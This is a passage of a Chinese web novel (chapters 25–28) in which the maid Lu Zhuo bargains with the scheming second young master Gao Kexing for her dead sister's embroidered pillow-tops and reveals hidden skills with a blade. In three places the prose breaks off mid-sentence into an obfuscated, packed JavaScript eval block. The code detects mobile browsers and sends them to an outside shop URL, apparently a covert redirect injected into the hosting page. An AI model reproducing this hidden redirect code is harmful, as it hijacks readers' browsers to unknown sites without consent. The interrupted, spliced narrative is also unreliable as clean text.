这是礼节，但不如高克行亲自去送更符合礼节。素馨全然不知高克行有什么想法，应了一声就送高克己出去了。 院内的海棠树下，人面花面相映，一派浑然天成的美景，叫高克己驻足回身。 “大少爷？” 素馨轻轻唤了一声，高克己前头还在看海棠，听她叫，便立刻做出一副刚刚回神的样子，很悲切地道： “素馨姑娘也瞧不上我罢。” 素馨赶紧屈膝作低，柔声道： “大少爷哪里的话，素馨怎么敢。” 她身份如此，这是她该说的话，却也是她的部分真心。与高克行不同，她被高克己的见识和才学打动，至于逛窑子的事，谁说就 一定是亲自去逛了，才能知道这些消息呢？ “家父官职低微，我并没有肃哥儿那样的本事，也没有行哥儿那样的气运，可要是这样现成的机会摆在眼前，我都不与他们结交 走动，才是真的没有进取之心了。” 这话当然也颇合素馨的心意，此外还另有一番引为知己的意思，丫鬟和少爷成为知己，是话本子里的传说故事，却也叫人心向往 之。 “大少爷何必妄自菲薄呢，您也是用功用心才有了今天的见识，旁人想与我们少爷攀谈，也都没有谈资。” 她话里话外宽慰高克己，倒还没有别的心思，只是隐隐有自以为是的惜才。 “多谢素馨姑娘劝慰。”高克己说着，从袖口掏出一样东西，看着方方正正，是两块儿料子，“我有些不登大雅之堂的小东西，今 日送给姑娘，全我一片感念之心，姑娘切莫推拒。” 主子赏下人，时常赏银钱、布匹、或是现成的东西，高克行大方，素馨这三日来见他赏人不少，自然早就做好了准备，于是一矮 身，从高克己手里将料子接了过来。 “奴婢谢少爷的赏，也请少爷知道，奴婢并不是为了赏，才对少爷这样说的。” 两人无意中相视，俱是一笑，高克己又多番依依惜别的作态，连辞了三次，才算是迈出院门。 看他走了，素馨抬手摸了摸胸口，只觉胸中狂跳，便平复片刻，刚回身要走，却见正房门边，高克行拐了出来，环臂倚在门框 上，不知是怒是笑，道： “什么好东西，拿来我瞧瞧。” 素馨一怔，更是慌得厉害，她也不知道这慌从何而起，只得三步并作两步，赶紧踏上矮阶，半蹲下去，将手里的东西呈到高克行 眼前。 高克行接了东西，也不与她交谈，自顾自将布料展开查看。 那并非是两块布料。 而是方方正正的两片枕顶，枕顶之上，绣着一头幼鹿，正在啄食青草。 25. 她的枕顶 外院甬道上，高克己带着小厮，闲庭信步，看不出有人在等他用饭的紧迫。 小厮垂着脑袋，似乎想了多时，两步赶到高克己身边，侧头问他： “少爷，两个枕头顶虽然不是什么好东西，可那绣工是好的，您就这么给丫头了？” 高克己看他一眼，舌头顶着上唇的内侧，笑了笑： “舍不着媳妇套不着狼，更何况没有比这个巧的东西了。” 似乎是在舔牙花子上的附着物，片刻后，他才又继续： “像那样的丫头，贵的东西她嫌俗气，太素的又看不上，最好是下巧功夫的，别出心裁的，她才能体会到心思，欲罢不能。” 小厮连忙贴上来，紧着赔笑： “少爷高明。连真人都眷顾您，谁想到能从夫人房里找到这么合适的东西，还不是这丫头该着是您的。” 他嘴里的夫人是曾氏，大房高彦邦的正妻，也是高克己的生母。 高克己对这种吹捧倒不怎么受用： “她不过是迟早，我早有数，只是拱辰轩里头那个，还需细细谋划一番。但我今日来，这里两个倒都不打紧，只怕那小王八蛋不 中套。” 他说完，似乎觉得非常有趣，走得更慢了一些。 小王八蛋高克行吃过了午饭，要出门往拱辰轩去，临行前，他唤素馨： “我有一幅夹宣的山水图，没款没章的，收在库房里了，你去找出来，取温水，两面都刷一遍水，别刷多了，闷着就行。我从拱 辰轩回来要带这画去一趟锦裱堂。” 锦裱堂是街上装裱画的店铺，是这一代最好的。 素馨正给他收拾碗碟，听到他叫自己，欠身应了。 高克行又从桌上拿起一个匣子，匣子里装着枕顶，他把匣子夹在小臂内侧，又问素馨： “我堂哥给你的东西我可拿走了，你真舍得？” 她只能舍得。 素馨淡淡一笑： “我的就是主子的。” 高克行嗤笑一声，扬长而去。 午后的拱辰轩乱作一团。 除了二少爷和大少爷有事，两人日日都会过来，倒不新鲜，可日日都是这样鸡飞狗跳。因为头一日苦练射柳的三少爷上午会用来 补眠，坐在书桌前也就是装样子，或者打瞌睡，所以到了下午这个时候，他就临时抱佛脚。 一会儿叫原棠把他不知道哪辈子写出来的书法从角落里掏出来；一会儿又叫鹿啄帮他把午睡压出折痕的《中庸》展平；时而乱七 八糟地翻书，试图把那些段落吃进肚子里；时而又对着书案上的镇纸发呆，心中默念： 完了就完了，完了就完了。 对于他习武不习文这件事高克肃和高克行并不是不知道，但总要装装样子，因为现在高彦韬的确还不知道。而且在这装样子之 上，高克肃并不是完全的装样子，他也时而会认真考校，毕竟武举也考策论，一点书都读不进是不行的。 在这一片兵荒马乱、人仰马翻之中，高克行抱着匣子，悄悄进屋了。 鹿啄对风吹草动极敏锐，高克行刚进来，她就一步到了他身前，道： “等……” 另一个等字还没说完，高克行已经搭上鹿啄的肩膀，想把她推到一边，但没推动。高克行心里暗叹忘了她是个野人，只能收回手： “等什么等，我天天都看这一出，给我找个座。” 原棠这会儿也看见高克行进来了，冲他施礼，引着他到书案前坐下，自己又去收拾刚刚翻书法折腾出来的烂摊子。 高克行把匣子往桌上一放，喊高克正： “我今儿要早走，不陪你玩儿了，你帮我跟大哥说一声。” 高克正睡熊猛醒： “啊？” 一般要是二哥出门，顶多使个小厮过来只会一声，怎么今天还特意亲自来一趟。他懵懂点头，心里真的有些不想二哥走。 “这个，”高克行在高克正面前打开匣子，“我得了一对儿枕顶，你拿走，帮我送给云英。” 高云英是高克正的亲妹妹，高家最小的女儿，年方9岁。 说到枕顶的时候，鹿啄已经注意到这边，看着高克正打开的匣子里，那面上露出来的幼鹿啄草刺绣，她心里猛地一紧。 还在惋惜二哥要出门的高克正顺着高克行的动作看了看那个枕顶，有点不解： “这东西她太多了，二哥怎么不自己留着。” 这话几乎挽救了在场所有人的脖子，只是高克正和高克行全然不知，高克行道： “样子是小孩儿用的，哪有我这个岁数的爷们用小鹿吃草的绣样？而且你看，这鹿绣得极好，栩栩如生，我那儿荷包扇套一大 把，都没见过绣的这么好的。我好一阵子没给她带好吃的了，她该在心里怨我，你替我送她。” 刚刚说不送，现在又送。高克行的脖子又有些朝不保夕了。 “还是不了。”高克正摇摇头，“我不好在中间总是占着二哥的人情，你该亲自去听她谢你才是。况且我嘴笨，七妹妹要是问我这 样子哪里好，我说不出来，她会不高兴。” “行吧。”高克行很痛快，“那我先去送，回来我就直接出去，不回你这儿来了，大哥那儿你自己看着对付，别让他罚你。” 罚不罚高克正说了并不算，他努力挤出一个苦笑，站起来要送二哥，高克行拦他一把。 “温你的书吧，大哥再有一刻钟该到了。” 高克肃不是高克行这样离不开人气儿的物种，往往会按照一个准确的时间登门，分毫不差。 匣子又被原样合上，鹿啄的目光也像被人斩断，她眼瞧高克行要出去，脚步微动，下一刻已经拦在了高克行前头。 “我送你。” 这倒是盘古开天头一遭，高克行有些佩服起自己的魅力来，另一边的高克正则在欣慰，原棠一个上午的教导，竟然让阿啄学会规 矩了。 “好啊。” 没有不答应的理由。 高克行夹着匣子往外走，鹿啄就在他身后跟着，也不说话、也不看他，就那样默默一路送到了甬道上，还在送。其实不是送，是在找人少的机会，让二少爷陷入甜蜜的梦乡。 这是没办法的事，因为枕顶马上要假手于人，高云英的院子鹿啄不熟，晚上再去取回来容易生变故，这事她吃过一次亏了，所以宁可让高克行当街睡一觉。 只是她准备出手时，高克行忽然转过身来了。 “不用送这么远， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030555|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么远不叫送，叫尾随。” 鹿啄不动声色收回手刀，点点头，想等他再转过身时就动手，但高克行偏没有那么做，他微微俯身，一双桃花眼盯着鹿啄： “龙井茶怎么样？你替我喝了没有？” 早饭高克行走前，把自己要喝的龙井茶赏给了鹿啄和原棠，他惯用这样的伎俩跟姑娘们熟络起来，百试百灵。 鹿啄才不想理什么龙井茶呢，她只知道自己的枕顶要飞了，在这里停的时间越长，路过的人越能记着她在这儿跟高克行说过话， 决计不能停下来闲聊。 可不跟他闲聊，他又不走，鹿啄转念一想，或许也可以不抢。 只见她伸出手，指了指高克行手里的匣子： “能不能给我？” 高克行没看出来鹿啄竟然是个贪心的，只赏了她一盏茶，她又来要别的，自然笑着摇头： “不行。” 鹿啄的下一句话很快跟上： “不白给。” 不白给？他能要一个丫头什么？高克行不由好奇，问她： “你要拿什么跟我换？还是给我钱？你的月例银子，买不起这一对儿枕顶。” 当然买不起，就算把屋里的散碎银子都拾掇出来，也未必够用。 她突然后退了一步，站在那个粗约两人合抱的荷花缸边上，从袖口里拿出一块飞蝗石，手腕子一动，飞蝗石立即脱手，倏尔破空 飞去，如莺离柳梢一般。 飞蝗石轻点水面，即刻跃起，如鱼跃龙门，轻盈洒脱，继而又在水面上起落数回，作连环跃，直至飞出荷花缸。 打完一个水漂，鹿啄走过去捡起飞蝗石，收进袖口里，又回到高克行身边，试着问： “教你？” 文人雅集，或是踏青，也惯以打水漂为乐，打得好的，确实会叫人青眼相待，高克行有一丝心动，但更多的是惊讶，这打水漂是 巧劲，不是蛮力，阿啄竟然也使得这样好，恐怕之前对她的定论还是下早了。 他有意钓着鹿啄： “不学，我耍给谁看？你还会不会别的？再给我耍一套，我就赏你。” 还能展示什么呢？ 鹿啄知道高克行爱玩儿，看他的样子也能瞧得出，所以才想教他这个换那对儿枕顶，但剩下的都是正经百八的功夫了，教他他也 未必学得会，就算学得会也未必真想学。 她忽然想起高克己说，要到高克行房里赏画。 “你喜欢画？” 如果不喜欢，就还是敲晕了抢走。鹿啄不想再白白给人知道她的底细。 不长眼的高克行还沉浸在自认的乐趣里： “不喜欢，我喜欢钱。” 鹿啄掉头就走。 她断定高克行不会来追，到时候找个地方上房，路途中下来给他敲晕。 谁知刚走了两步，高克行竟然从后面拉住了她的胳膊，轻轻带着她转身，因为鹿啄没有防备，就这样让高克行拉了过去，高克行笑着看她，凑近了道： “怎么不识逗？我唬你的，画怎么了？你只管说。” 鹿啄的确不识逗，但高克行也的确不识趣，只有一样，运气不错。鹿啄稍稍退开了一点，答他： “我会揭画。” 26. 何可一日无此君 “真的？” 但凡他人言之凿凿，再问“真假”，无非是震惊之下脱口而出的废话。 高克行此刻便是如此。但他不忘显示自己并不特别满意： “那你现在去我房里，揭给我看，还有刚刚那招，你也教我，两样加起来勉强差不多。” 鹿啄不会过多揣测他人，高克行面上不满，在她看来就是真的不满，所以她不讨价还价，而是问： “你有画？” “当然有，没有我让你去我那儿干嘛。”高克行一把抓过她的手腕子，“你撞我手心里了知道吗？你要是真会揭，除了这对枕顶， 我再送你十匹绸子，你爱绣什么绣什么。” 他有点得意忘形，几乎在鹿啄面前无法维持他想要的从容。 如若今日是换了旁的丫鬟在他面前大言不惭，他一定无心验证其真伪，是否跟她多说两句尚还要看心情怎样，可这个阿啄，多番 出乎他的预料，其行事作为，种种又似乎在情理之中，叫高克行无从琢磨，也就更想探知。 说到底，他自恃身份，像是阿啄这样低微的女子，只能知他所知，会他所会，不能比他更多出什么，才合常理，才不叫人生疑，不生疑，他才能维持一贯的从容。 尤其是武艺，或者说某种蛮力，与揭画这样涉及风雅的事合在一人身上，更叫他难以克制好奇。 高克行旁若无人，领着鹿啄朝延晖阁内走，后者面上也是一片淡然。 劈丝的技艺来源于鹿苓；揭画的手段则传自鹿霄。 这二者都是她在啜狗山上做得十分习惯的事，没得因为一个公子哥要看她就心生惶惶。 尽管她并不知若真论起来，她揭画的手艺该算什么层次。 逐娘曾是名动一时的花魁娘子，自京中而来，厨艺和医术都是上山后学的，甚至教她的人还是从娘，所以这两样在她身上并不出 挑，但要说起琴棋书画与绣技女工来，曾经就连京城里不少世家公子与小姐都要向她偷师。 其中琴棋书画一项，她教给了鹿霄。 鹿霄在琴棋两样上并不上心，只做寻常闲时的消遣，且无论琴艺棋艺，她在啜狗山中无敌手，渐渐也没了意思。可论起书画，却是啜狗山实打实的银钱来源。 她化名所作的书法和画作，在涿州城内小有名气，甚至不乏外人慕名而来，重金求购。这些画作的装裱，一贯由她本人亲力亲为，唯有揭画一环，因需独特的发力技巧与经验，只得将关窍传授给几位习武的姐妹代为操刀。 有时是装裱的不合心意，要重新装裱，故而揭画；也有时是鹿霄根本就想把一张画当做两张卖，省时省力，故而揭画。 啜狗山上的衣食住行都由姐妹们和逐娘自理，鹿霖和鹿苓因各自学了琴棋书画和女工以换取银钱，要养护手指，从不做粗活；鹿坪管着厨房，鹿荇上山采药，经常不在。 故此山中茅屋里的粗活大多由鹿坤、鹿霖和鹿啄三个承担，为了逃避家中杂事，鹿坤和鹿霖常常有意在鹿啄睡懒觉时出去打猎， 鹿啄就只能留在家中帮鹿霄揭画、帮鹿荇晒草药、帮鹿苓理线、或是帮鹿坪宰杀牲畜，剥皮烹调。 鹿啄与其它姐妹都不同，她上山时年纪太小，或者说，她生父生母弃她而去时她还尚在襁褓之中，十六年来，只有她一个人是真 正生在山里，长在山里的。为姐妹们做的事，就是她一年之前的全部生命，对此，她怎么会没把握。 进了延晖阁，高克行即刻叫素馨将泡好的夹宣山水画取了出来，在一张空闲的书案上铺好，又拿镇纸把两端压住，自己找了张交 椅坐着，说是坐着，但见他一腿横跨着扶手，一腿搭在地上，半个身子歪着，瞧瞧鹿啄，又瞧瞧画，做了个“请吧”的手势。 “启子。” 启子也做起子，一般为竹制剑形或扇形的薄片，用于修书或裱画，在揭画时通常先用启子起纸，再施行揭离。 延晖阁没有启子。 高克行没想过能从天上掉下来一个会揭画的，他原打算带着画去锦裱堂，那里的启子要多少有多少，可眼下阿啄突然索要，他却是没有。 素馨也是一脸懵懂。 首先二少爷从外面领回来一个三少爷的丫头她就没能参透其中的奥秘，把丫头领进书房又搞这么大的阵仗她就更是摸不清头脑，眼下二少爷听那丫头要启子，竟然先看向自己，她怎么知道启子是什么？ 诗书她还略通，至于作画、装裱之事，她并不比院里终日饱食酣睡的狸奴高明多少。 屋子里静了一阵，还是高克行先摊开了手： “没有。”他低头略一沉吟，“要不我带你去锦裱堂？你手艺怎么样？那边会揭画的匠人可不少，但你要是没他们揭得好，可是下了小爷的脸面。” 他在锦裱堂的脸面就是当街让两匹大马尥蹶子正踹在眉心上都丢不了一丝一毫，但他有心激一激阿啄的脾气，预料这将成为他未来一段时日里不忍放手的乐事。 鹿啄不想去锦裱堂，事多生变，她已深深学会了： “不去。就在这儿。” 可这儿没有启子，也没有其它工具啊。 高克行敛起笑意，眯眼看她： “你骗我？你知道骗我是什么后果？” 对于丫鬟来说去一趟锦裱堂并没什么可损失的，就算比不过锦裱堂的匠人也情有可原，除非她根本不会，支支吾吾推三阻四，只 是骗他，要拖延时间，或是真以为他好说话。 素馨抱臂旁观，也觉这丫头未必真有令少爷心动的本事，正等着看她如何收场。不料下一刻，鹿啄竟朝她望来，道： “让她出去。” 打从素馨来了，延晖阁的书房就是她和一个书童轮班伺候，其余小厮、丫鬟都在外院听差，因今日之事，那书童早替高克行到锦 裱堂打招呼去了，并不在，现下屋里除鹿啄和高克行以外，只剩素馨一人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030556|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鹿啄话音方落，高克行的表情已与最初进门时完全不同，他从斜靠转而背靠在交椅上，乍一看是坐在地位，但目光仍是自上而 下。他朝素馨抬了抬下巴。 这便是让素馨出去的意思，后者犹豫了一瞬，退身到门外，合上了门扉。 书房之中，只余一呼一吸间几不可闻的气声，高克行甚至有些好笑地想，或许这个阿啄打算趁没人的时候施展些女孩子家的手段，可如果真是那样，就打错了主意，他只会非常失望而已。 然而念头未落，鹿啄倏然趋近，左手翻落，一柄剥皮短刃已出现在指端。高克行几乎没看到那刀是从什么地方拿出来的。 短刀寒光一闪，看清时只觉得像一弯新月从中裁开，上下翻转拼接在一起，刀身是再寻常不过的质地，刀柄莹润如玉，但又显然不是玉。 鹿啄指节轻叩柄枢，玉质外壳应声脱解，掉落时顺势被鹿啄接住，露出刀柄内所藏的一截三寸短刃，其质地与刀柄无异，但外形 更像是短剑，剑刃晕着润泽的白光，似钝还利。 不等高克行询问，鹿啄右指沿画轴边际轻抚数寸，左手玉剑已切入夹宣薄缘。剑锋自上而下匀速游走，恰似裁云镂月，画边应声裂开细隙。 抬手收刀，剥皮刀犹如从没出现过一样，又回到了原位。 鹿啄将一根手指探入刚刚剥皮刀启出的口子，另一指置于画作上层，两手捻动，夹宣山水画的边缘以高克行从没见过的速度分离成两张。 高克行终于有机会开口： “住手！” 话毕，鹿啄即刻收手，什么都没发生过一样，等着高克行的下文。 这一声住手，并非揭画有什么不妥，正相反，阿啄的技艺无可挑剔。高克行曾见过锦裱堂的匠人揭画，这本是不外传的手艺，但他足以买下半个锦裱堂的手笔叫掌柜为他大行方便之门，他原以为那日他所见的技艺已足够惊人，但阿啄下手之举重若轻，其稳、准、狠，都让高克行失语。 他几乎本能地想起自己从初识这个丫头到刚刚她揭画时的每一幕。 进府第二天，她就孤身揭露郑婆子，把在这府中横行了数十余年的老奴扫清出去；今日，她弹指间又展露了两手功夫，捉小虫，打水漂，都是小巧而不引人注意的花样，可哪样都不是一日之功；更不要提，就在刚刚，就在眼前，她的刀，她揭画时行云流水的姿态。 这些都绝非一个几两银子可以买到的丫头在牙行里就能修习的技艺。 高克行又控制不住地想自己该如何处置。 如果是大哥，他一定不允许这样深藏不露的人藏在高家深处，要么问出一切，要么立即赶走。如果是三弟，兴许会给她的每个行 为都找到一个合理的解释，而后佯作不知，一切照旧。 可他是高克行，他现在唯一的想法是： 绝不能放走她。 这个此生可能仅有一次机会遇到的“玩物”，他绝不会放手。 27. 玩儿 画是玩意，人是玩物，科举是玩笑，人间是玩乐欢场。 但阿啄是其中最好玩的一个。 “不用揭了，”高克行从交椅中站起身，“赏你。” 他把一直带在身边的匣子拿出来，压在夹宣山水画上，那幅画现在对他来说已经毫无吸引力，破了或是烂了，无所谓。 匣子里的枕顶完好无损，原样躺在里头，鹿啄查看了片刻后，合上匣盖，想将匣子拿起来，但高克行忽然伸出两根手指，抵在了 匣子顶上： “我要你的刀。跟我换。” 充当启子的骨柄剥皮刀只出现了片刻，高克行并没有看清，但他见过真正价值连城的佩刀长什么样子，由此便知鹿啄的这把刀并 不值钱，他也不是为了钱才要鹿啄的刀，他是怕在他玩高兴之前，自己的命先玩完。 鹿啄指了指山水画已经分离开的边缘，意思很明白：约定就是揭画，画揭了，不能再要别的。 高克行粲然一笑： “不是这个道理吧，好阿啄。” 他的手指沿着匣子的花纹向前，直至整个手掌扣住了匣。他尚不知道在鹿啄面前出尔反尔的危险，但纵然有危险，他今天也出尔反尔多次了，又能怎么样？ “我要是真想看揭画，青州城哪里不能给我看？就凭这个，我要给你一对儿上好的刺绣孤品？你想想这个道理吧，旁的我也不想 学，刀，实话告诉你我也不在乎，我想要的只有一样。” 他压住盒子，扬起上半身凑近鹿啄，直至他所投下的影子将鹿啄笼罩，他道： “如若你听我的话，我可以开一个价。你推拒不得的价。” 话音刚落，如高克行所料，鹿啄的左手已经横在了他脖子边上，只是他的脖子和鹿啄的手之间，偏巧多了一个匣子。她动手时明 明带起了一阵掌风，想要劈开匣子也并非难事，可她偏偏停住了，匣子分毫未损。 高克行用手压住匣子，并非不想给鹿啄，只是他判断在这屋里唯一让阿啄在乎的，只有这个匣子，哪怕是万分之一会伤害匣子里东西的行为，鹿啄都不会做，因此他早早用手扣住了匣子，就是在等鹿啄出手时用此物保住自己。 至于阿啄出手的时机，看是看不破的，他只是以自己把话说完为基准，说完就立刻拿起了匣子，这也是运，如果没撞上运，刚刚要么他命丧于此，要么昏迷不醒。 “怎么办？”高克行顺势把匣子打开，取出里面的枕顶握在手中，“你要拿我怎么办？” 匣子太好抢了，只能这样。 这无异于拿自己的命在赌，要知道，杀了他，他身上和手上的一切鹿啄都可以轻易获得。 但偏偏鹿啄不能杀他，只有她跟高克行两个人在房间里，这事过了明路，如果高克行死在房中，高府即刻便知凶手是她，到时再想为姐姐报仇，或是拿回别的，便难上十倍。 鹿啄左手一晃，剥皮刀落入手中，她把刀放在了高克行眼前。 反正刀有两把，够用就行。 不想她如此干脆，高克行轻轻挑眉，笑着又把刀推了回去，同时还把手上的枕顶也放进了匣子里，一并推给鹿啄。 鉴于此人所作所为，鹿啄立刻将匣子拢了过来，但没有动刀。 她本能觉得高克行也许忌惮着这把刀，尽管威胁他性命的并不是刀。 眼下的情境很乱，鹿啄不知道高克行对自己的了解到了什么地步，也不知道为什么仅仅揭了一张画，高克行就突然性情大变。暴露武艺或是别的，她都不在意，只是看要暴露给谁，高克行原本在并不危险的名单当中。 甚至高克行原本在“可利用”的名单当中。 鹿啄对人的归类基于她对野兽的分类，高克行被归类为拥有领地的野兽，且自己需要捕猎的猎物在这个野兽的领地之中，她需要让这头野兽知道自己的狩猎不是他可以阻止的，同时如果他能配合就更好了。 所以她才不忌惮在高克行面前展现自己，她希望高克行能够害怕，但对方并不害怕，或者说，是在害怕之上，衍生出了别的。 “如果我问你，你应该什么都不会说吧？”高克行将刀拿了起来，对着窗外透进来的光端详，“那咱们就这样装糊涂好了，你是丫鬟，我是爷，一直演下去。这刀柄是用什么做的？” 他突然抛出一个问题，没指望鹿啄会回答，但鹿啄答了： “野猪牙。” 高克行笑了，他没发出声音，但肩膀耸动，好似笑得十分开怀，片刻后才道： “要是这样的话，这刀我要了。你还会回答我其它问题吗？” 不一定，要看高克行能给什么。 鹿啄摩挲着手中姐姐刺绣的部位，真的想起了一个高克行能给她的东西——答案。 “这枕顶是哪儿来的。” 此言一出，高克行脸上的得意愈发深刻了。这是第二个高克行敢跟鹿啄肆无忌惮的原因，她一定会问这个问题的，高克行就在等这一刻。 “你明天陪我去个地方。” 用一个答案去换另一个答案未免太不值得了，高克行早有安排，无论是对丫鬟阿啄，还是神秘女子阿啄。 “明儿我到三弟那儿讨你，别大摇大摆地去，叫你们屋里那个原棠给你拿一顶帷帽，你喜欢什么身份？我的丫鬟？我的客卿？还 是我豢养的小娘子？” 他笃定鹿啄会答应，于是又有了逗她的兴趣。 比起选身份，鹿啄更想可以不去，她道： “我可以回答你问题。” 高克行笑： “不想问。” 鹿啄伸出三根手指： “三个。” 原本她只想用一个问题换，如果高克行问她是什么人，她就说砍柴的。但高克行并不钻套子，他把刀放回书案，转而对鹿啄伸出两只手，手指张开给她看： “就算是十个，我也不想问。” 给他打晕？给他打死？ 都不能得到答案。 除了高克行，还有没有其它线索能得知这枕顶是哪儿来的？ 枕顶多半出自殷碧房里，因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030557|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为姐姐生前只在殷碧房里做过事，高四儿从没提到她出去过。枕顶姐姐一定是贴身带着，并且时不时利用绣霞帔的空闲时间继续绣枕顶，否则鹿苓不会在信中说枕顶就要绣好了。 可枕顶如果是殷碧在姐姐死后直接赐给高克行的，那高克行早在自己入府之前就会把枕顶送给妹妹了，毕竟他觉得这是孩子用的绣样。 说明枕顶是高克行新得的，只在这两日之内。 那这东西到底怎么落入高克行手里的，中间经手过谁，姐姐还有多少东西流落在外，只能一层一层找上去，必须要高克行吐口。 用对付高四儿一样的办法对付他，未必奏效，此人的傲气和自大不是高四儿可以比拟的，恐怕在神智彻底陷入崩塌前就会自尽，那答案也无处去寻了。 答应他，目前看是最简单的办法。 鹿啄伸手，想拿回自己的刀，但高克行按住了她的手。 “不是给我了吗？” “你不能要这么多。” 况且以他的身手，刀对他并没有用，鹿啄也不会因为一把刀就受他的钳制，那当然还是拿回来的好。想起高克行应该是有性命相关的忧虑，她难得耐心道： “我不会伤你。” 未曾设想会得到这样的保证，高克行怔住片刻，才笑道： “这刀对你有什么特别的吗？跟那对儿枕顶一样？” 鹿啄收手，据实以答： “没有。” 只是用着顺手而已，没有更好的替代品，也顾不上去寻替代品，唯一特别之处就是用啜狗山厨房里的菜刀三舅锻造，但啜狗山不复存在，一把菜刀又代表得了什么。连她是谁都已不那么重要了，代表她存在过的东西，就更不重要。 “那就送我。”高克行把剥皮刀拨到自己这头，“我会给你找一把更好的，只要我能，只要你要，都可以给你。” 鹿啄转身出了正屋，头也不回。 她不必再给什么答复了，把刀留下，就是缔约。 至于高克行为什么想要这刀，明天要陪他去什么地方，鹿啄并不在乎。 趁着天色还早，她要拿着枕顶去找小钗，让小钗帮她把枕顶缝在枕头上。这样，她就可以日日枕着鹿苓残留的那一点点气息入眠，就如同她还没有下山一样，也许这样就能，暂时摆脱那些噩梦。 延晖阁院中的海棠花开得正盛，鹿啄没有片刻为这繁花盛景停留的意思，也不曾有一刻回头，一如她来到高府时对高府的态度，她目空一切，所以她没有看到，站在门口的素馨，在她路过身边的那一刻，死死地盯着她手里的匣子。 那不是二少爷用来装那对儿枕顶的匣子吗？ 素馨盯着鹿啄在转角处消失的身影，回过头看了看屋里的书案旁，高克行正站在那里，一片阴影投在他身上，素馨看不清高克行的表情，但她看向高克行的目光却异样起来。 那目光中有愤恨，也有进入延晖阁以来头一次生出的，对高克行的怨怼。 为什么要把那枕顶给别人呢？ 那不是，她的枕顶吗？ 28. 凤凰的眼珠子 “怎么去了这么久！我差点要遣人去找你！” 原棠远远就看见了鹿啄，从拱辰轩院门一路迎出来，后者对她略微点了点头。 “是二少爷为难你了？还是遇上了什么事？” 打高克行走后，高克肃来了又走，鹿啄迟迟不归，原棠渐渐有些担心起来，高克正也问了几次，原棠为替鹿啄遮掩，都以“阿啄 回来过，但安排她去做别的事了。”为由搪塞过去。 可多番搪塞，眼见到了传夕食的时候，原棠只得到门口守着，以防真出了什么事，或能向来往仆役们询问。 “没事。” 鹿啄走到原棠边上，两人一道往拱辰轩里走。盛放枕顶的匣子被鹿啄随手扔到墙外，一对儿枕顶她收进了怀里，防的就是拱辰轩 里的询问。至于她去了何处，并不需要隐瞒，只是解释起来复杂，鹿啄随口编了个理由。 “我去偷懒了。” “……” 这怎么行？虽说三少爷房里活儿不多，但也不能明目张胆地偷懒吧？更何况偷懒就偷懒，为什么要告诉她？这下她是报还是不 报？罚还是不罚？ 斟酌着措辞，原棠柔声劝鹿啄，当然也是劝自己： “你来的突然，咱们又投契，我都忘了你其实刚入府才三日，有些规矩你可能确实不知。” 所谓有教无类，说起资质和规矩鹿啄确实差了一些，但不帮她，她只会一日差过一日。原棠耐心道： “少爷不叫咱们的时候，咱们得在院里听差，并不是可以由着自己的性子随意来去，偷懒……这个也是不成的，你以后别跟旁人 说你去偷懒，被嬷嬷们逮到是要狠狠地罚的。” 鹿啄一点头：“受教。” 说不上恭敬还是不恭敬，也不好说端正还是不端正，原棠只能又道： “你要去什么地方，做什么，都要秉给少爷，就算你怕他不允，最起码也要告诉我，高府是大家大宅，在这样的地方，咱们长了 腿也要当是借来的，长了嘴也要当是锁住的，我一心为你，不会害你。” 只认识了几个时辰，若说原棠真是体贴爱护鹿啄，那么大概其心里十中有三，剩下七分都是为着拱辰轩上下一体，一荣俱荣，一 损俱损。 这个道理鹿啄只能隐约明白一点，凡规矩或高门大院的生存之道，对鹿啄有利的，她可以屈从，对鹿啄有碍的，她当不存在。而在这之上，她有些在乎原棠的感受，因为原棠说话的腔调与鹿苓相似。 “我要去厨房。” 鹿啄转头清晰对原棠道。 这是她对原棠某种程度上的屈从，告诉她自己要去什么地方。 但原棠迷茫了。 “去厨房？做什么？是你刚刚去了，还是将要去？” “去找小钗。”鹿啄顿了一下，又补充，“她伺候大小姐。” 提审郑婆子之时，原棠一直侍立在高克正身后，提起伺候大小姐又与鹿啄相识，她在心中已有了“小钗”的面貌，又想起当日小 钗对鹿啄多番相护，大概也理解了鹿啄此去缘由。 “你想去见你朋友？可以倒是可以，但要挑没事的时候。” 鹿啄点头：“饭后。” 小钗负责为高雅英传菜，饭前和饭后都会在外院厨房出现。 而用完夕食的这段时间，高克正会温书至睡前，天下黑后就不看了，且他就寝伺候由贴身小厮负责，原棠和鹿啄都无需插手，确实是最闲的一段时间。 “那你要在落锁前回来，三少爷那儿我如实跟他说，他不会不依你。” 被屋里女孩子们成日团团围着打转是高克行的喜好，高克正则希望人越少越好，毕竟他自认别人都不知道他在练武。 两人一路行至正屋，高克正像早上一样戳在桌子边上等饭，见鹿啄回来了，他面上闪过一瞬间的希冀和好奇，但最终化成一片沉 